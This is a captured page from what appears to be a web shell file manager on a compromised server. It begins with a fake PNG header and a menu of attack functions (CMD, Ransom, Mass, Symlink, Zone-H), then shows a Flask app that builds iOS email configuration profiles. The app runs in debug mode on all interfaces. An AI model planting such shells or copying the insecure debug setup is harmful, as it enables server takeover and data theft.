\x89PNG\r\n\x1a\n\x00\x00\x00\x0DIHDR\x00\x00\x00\x01\x00 \x00\x00\x01\x08\x06\x00\x00\x00\x1F\x15\xC4\x89\x00\x00\x00 \x0AIDATx\x9Ccb\x00\x00\x00\x06\x00\x03\x1A\x05\x9D\x00\x00 \x00\x00IEND\xAE\x42\x60\x82
| Path : /var/www/html/mobile-ob/LanguageLearner/ |
|
B-Con CMD Config cPanel C-Rdp D-Log Info Jump Mass Ransom Symlink vHost Zone-H |
| Current File : /var/www/html/mobile-ob/LanguageLearner/main.py |
from app import app
from flask import render_template, request, send_file, jsonify, send_from_directory
from flask_login import login_required
from utils.mobileconfig import generate_mobileconfig
from routes.auth import auth
import io
import uuid
import logging
# Configure logging
logging.basicConfig(level=logging.DEBUG)
logger = logging.getLogger(__name__)
# Register blueprints
app.register_blueprint(auth)
@app.route('/')
@login_required
def index():
return render_template('index.html')
@app.route('/attached_assets/<path:filename>')
def serve_asset(filename):
return send_from_directory('attached_assets', filename)
@app.route('/generate', methods=['POST'])
@login_required
def generate():
try:
logger.debug("Starting mobileconfig generation")
# Get form data
data = {
'email': request.form.get('email'),
'name': request.form.get('name'),
'imap_host': request.form.get('imap_host'),
'imap_port': request.form.get('imap_port'),
'smtp_host': request.form.get('smtp_host'),
'smtp_port': request.form.get('smtp_port'),
'use_ssl': request.form.get('use_ssl') == 'true',
'username': request.form.get('username'),
'caldav_host': request.form.get('caldav_host'),
'caldav_port': request.form.get('caldav_port'),
'caldav_path': request.form.get('caldav_path'),
'caldav_username': request.form.get('caldav_username'),
'carddav_host': request.form.get('carddav_host'),
'carddav_port': request.form.get('carddav_port')
}
# Log received data (excluding sensitive information)
safe_data = {k: v for k, v in data.items() if 'password' not in k}
logger.debug(f"Received form data: {safe_data}")
# Validate required fields
required_fields = ['email', 'name', 'imap_host', 'imap_port', 'smtp_host', 'smtp_port', 'username']
for field in required_fields:
if not data[field]:
logger.error(f"Missing required field: {field}")
return jsonify({'error': f'Missing required field: {field}'}), 400
# Generate mobileconfig content
try:
mobileconfig_content = generate_mobileconfig(data)
logger.debug("Mobileconfig content generated successfully")
except Exception as e:
logger.error(f"Error generating mobileconfig content: {str(e)}")
return jsonify({'error': 'Failed to generate configuration content'}), 500
# Create file-like object
try:
file_buffer = io.BytesIO(mobileconfig_content.encode('utf-8'))
logger.debug("File buffer created successfully")
except Exception as e:
logger.error(f"Error creating file buffer: {str(e)}")
return jsonify({'error': 'Failed to create configuration file'}), 500
# Generate unique filename
filename = f"email_config_{uuid.uuid4().hex[:8]}.mobileconfig"
logger.debug(f"Generated filename: {filename}")
return send_file(
file_buffer,
mimetype='application/x-apple-aspen-config',
as_attachment=True,
download_name=filename
)
except Exception as e:
logger.error(f"Error generating mobileconfig: {str(e)}")
return jsonify({'error': 'Failed to generate configuration file'}), 500
if __name__ == '__main__':
app.run(host='0.0.0.0', port=5000, debug=True)